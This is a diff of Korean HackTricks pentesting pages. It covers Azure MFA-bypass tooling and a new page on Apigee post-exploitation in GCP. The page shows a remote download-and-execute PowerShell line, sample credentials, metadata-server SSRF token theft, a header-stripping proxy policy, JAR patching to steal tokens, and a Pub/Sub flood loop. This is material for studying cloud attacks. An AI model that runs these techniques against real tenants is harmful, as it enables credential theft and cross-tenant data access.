|
||||
이 스크립트는 일부 사용자 자격 증명을 가져와서 일부 애플리케이션에 로그인할 수 있는지 확인합니다.
|
||||
이 스크립트는 일부 사용자 자격 증명을 얻고 일부 애플리케이션에 로그인할 수 있는지 확인합니다.
|
||||
|
||||
이는 나중에 **권한 상승**을 위해 악용할 수 있는 일부 애플리케이션에 로그인하는 데 **MFA가 필요하지 않은지** 확인하는 데 유용합니다.
|
||||
이는 나중에 악용하여 **escalate pvivileges** 할 수 있는 일부 애플리케이션에서 로그인 시 **aren't required MFA to login in some applications**인지 확인하는 데 유용합니다.
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
모든 정책을 가져옵니다.
|
||||
모든 정책을 가져옵니다
|
||||
```bash
|
||||
roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep는 제공된 자격 증명을 사용하여 **다양한 Microsoft 서비스에 로그인하려고 시도하고 MFA가 활성화되어 있는지 식별하려고 시도하는 PowerShell 스크립트입니다**. 조건부 액세스 정책 및 기타 다단계 인증 설정이 구성되는 방식에 따라 일부 프로토콜은 단일 요소로 남을 수 있습니다. 또한 ADFS 구성에 대한 추가 검사가 있으며, 감지된 경우 온프레미스 ADFS 서버에 로그인하려고 시도할 수 있습니다.
|
||||
MFASweep는 제공된 자격 증명을 사용하여 다양한 Microsoft 서비스에 **로그인하려 시도하고 MFA가 활성화되어 있는지 식별하려고 시도하는** PowerShell 스크립트입니다. conditional access policies 및 기타 multi-factor authentication 설정이 어떻게 구성되어 있는지에 따라 일부 프로토콜은 단일 요소 인증으로 남을 수 있습니다. 또한 ADFS 구성에 대한 추가 검사를 수행하며 감지되면 on-prem ADFS 서버에 로그인 시도를 할 수 있습니다.
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
이 도구는 MFA 우회 방법을 식별하고 여러 생산 AAD 테넌트에서 API를 악용하는 데 도움을 주었습니다. AAD 고객은 MFA가 적용되었다고 믿었지만 ROPC 기반 인증이 성공했습니다.
|
||||
이 도구는 여러 프로덕션 AAD tenants에서 MFA bypasses를 식별하고 APIs를 악용하는 데 도움을 주었습니다. AAD 고객들은 MFA가 적용되어 있다고 믿었지만, ROPC 기반 인증이 성공했습니다.
|
||||
|
||||
> [!TIP]
|
||||
> 앱을 무차별 대입할 수 있는 앱 목록을 생성하려면 모든 애플리케이션을 나열할 수 있는 권한이 필요합니다.
|
||||
> brute-force할 앱 목록을 생성하려면 모든 applications를 나열할 수 있는 권한이 필요합니다.
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
@@ -143,29 +143,29 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token은 Conditional Access Policies를 검증해야 하는 보안 컨설턴트를 돕기 위한 함수 집합입니다. 2FA가 활성화된 Microsoft 포털에 대한 테스트 등을 포함합니다.
|
||||
Donkey token은 Conditional Access Policies를 검증하거나 2FA가 활성화된 Microsoft 포털을 테스트해야 하는 보안 컨설턴트를 돕기 위한 함수들의 모음입니다.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**각 포털을 테스트**하여 **MFA 없이 로그인할 수 있는지** 확인하십시오:
|
||||
**각 포털을 테스트**하여 **MFA 없이 로그인 가능한지** 확인하세요:
|
||||
```bash
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$username = "conditional-access-app-user@azure.hacktricks-training.com"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
**Azure** **포털**이 **제한되지 않기 때문에** 이전 실행에서 **감지된 모든 서비스에 접근하기 위해 포털 엔드포인트에서 토큰을 수집할 수 있습니다.** 이 경우 Sharepoint가 식별되었고, 이를 접근하기 위한 토큰이 요청됩니다:
|
||||
**Azure** **portal**이 **not constrained** 상태이므로 이전 실행에서 감지된 모든 서비스에 접근하기 위해 **gather a token from the portal endpoint to access any service detected** 할 수 있습니다. 이 경우 Sharepoint가 식별되었고, 이에 접근하기 위한 token이 요청됩니다:
|
||||
```bash
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
토큰이 Sites.Read.All 권한(Sharepoint에서) 을 가지고 있다고 가정할 때, MFA 때문에 웹에서 Sharepoint에 접근할 수 없더라도, 생성된 토큰을 사용하여 파일에 접근하는 것이 가능합니다:
|
||||
token이 Sites.Read.All (Sharepoint에서) 권한을 가지고 있다고 가정하면, MFA 때문에 웹에서 Sharepoint에 접근할 수 없더라도, 생성된 token을 사용해 파일에 접근하는 것이 가능합니다:
|
||||
```bash
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
## References
|
||||
## 참고자료
|
||||
|
||||
- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
# GCP - Apigee Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apigee metadata SSRF -> Dataflow cross-tenant pivot
|
||||
|
||||
단일 Apigee 테넌트 프로젝트를 악용해 Message Processor metadata server에 접근하고, 해당 service account를 탈취하여 읽기/쓰기 권한이 있는 공유된 Dataflow 분석 파이프라인으로 피벗할 수 있습니다. 이 파이프라인은 cross-tenant buckets를 읽고 씁니다.
|
||||
|
||||
### Expose the metadata server through Apigee
|
||||
|
||||
- Apigee 프록시 대상(target)을 `http://169.254.169.254`로 설정하고 `/computeMetadata/v1/instance/service-accounts/default/token`에서 토큰을 요청합니다. 요청에 `Metadata-Flavor: Google`을 포함하세요.
|
||||
- GCP metadata는 `X-Forwarded-For`가 포함된 요청을 거부합니다; Apigee는 기본적으로 이를 추가합니다. 프록시하기 전에 `AssignMessage`로 제거하세요:
|
||||
```xml
|
||||
<AssignMessage name="strip-xff">
|
||||
<Remove>
|
||||
<Headers>
|
||||
<Header name="X-Forwarded-For"/>
|
||||
</Headers>
|
||||
</Remove>
|
||||
<IgnoreUnresolvedVariables>true</IgnoreUnresolvedVariables>
|
||||
</AssignMessage>
|
||||
```
|
||||
### 도난당한 Apigee 서비스 계정 열거
|
||||
|
||||
- leaked SA (Google-managed under `gcp-sa-apigee`)은 [gcpwn](https://github.com/NetSPI/gcpwn) 같은 도구로 열거하여 권한을 빠르게 테스트할 수 있습니다.
|
||||
- 관찰된 강력한 권한에는 **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, 및 **Pub/Sub topic publish**가 포함되었습니다. 기본 탐색:
|
||||
```bash
|
||||
gcloud compute disks list --project <tenant-project>
|
||||
```
|
||||
### Snapshot exfiltration — 불투명한 관리형 서비스용
|
||||
|
||||
disk/snapshot 권한이 있으면 테넌트 프로젝트에 로그인할 수 없더라도 관리 런타임을 오프라인으로 검사할 수 있습니다:
|
||||
|
||||
1. 테넌트 프로젝트의 대상 디스크에서 snapshot을 생성합니다.
|
||||
2. snapshot을 자신의 프로젝트로 복사/마이그레이션합니다.
|
||||
3. snapshot으로부터 디스크를 재생성하고 VM에 연결합니다.
|
||||
4. 로그/설정을 마운트하고 검사하여 내부 버킷 이름, 서비스 계정, 파이프라인 옵션 등을 복구합니다.
|
||||
|
||||
### Dataflow 의존성 교체 — 쓰기 가능한 staging bucket을 통해
|
||||
|
||||
- Analytics workers는 시작 시 GCS staging bucket에서 JARs를 가져왔습니다. Apigee SA에 bucket 쓰기 권한이 있었기 때문에 JAR을 다운로드하고 (예: Recaf로) 패치하여 `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` 를 호출하고 **Dataflow worker** 토큰을 탈취했습니다.
|
||||
- Dataflow workers에는 인터넷 egress가 없었기 때문에, in-cluster GCP APIs를 사용해 토큰을 공격자 제어 GCS bucket에 기록하여 exfiltrate합니다.
|
||||
|
||||
### autoscaling을 악용해 악성 JAR 실행 강제
|
||||
|
||||
기존 워커는 교체된 아티팩트를 다시 로드하지 않습니다. 파이프라인 입력을 폭주시켜 새 워커를 생성하도록 트리거하세요:
|
||||
```bash
|
||||
for i in {1..5000}; do
|
||||
gcloud pubsub topics publish apigee-analytics-notifications \
|
||||
--message "flood-$i" --project <tenant-project>
|
||||
done
|
||||
```
|
||||
새로 프로비저닝된 인스턴스는 patched JARs를 가져오며 Dataflow SA token을 leak합니다.
|
||||
|
||||
### 테넌트 간 버킷 설계 결함
|
||||
|
||||
디컴파일된 Dataflow 코드는 공유 metadata 버킷 아래에 테넌트별 구성 요소 없이 `revenue/edge/<api|mint>/tenant2TenantGroupCacheDir` 같은 캐시 경로를 보여주었습니다. Dataflow token으로 다음을 읽기/쓰기할 수 있습니다:
|
||||
|
||||
- `tenantToTenantGroup` 캐시 — 다른 테넌트의 프로젝트+환경 이름을 노출합니다.
|
||||
- `customFields` 및 `datastores` 폴더 — 모든 테넌트에 걸친 요청별 analytics(최종 사용자 IP 및 평문 access tokens 포함)를 보관합니다.
|
||||
- 쓰기 권한은 analytics의 잠재적 조작/오염을 의미합니다.
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/)
|
||||
- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user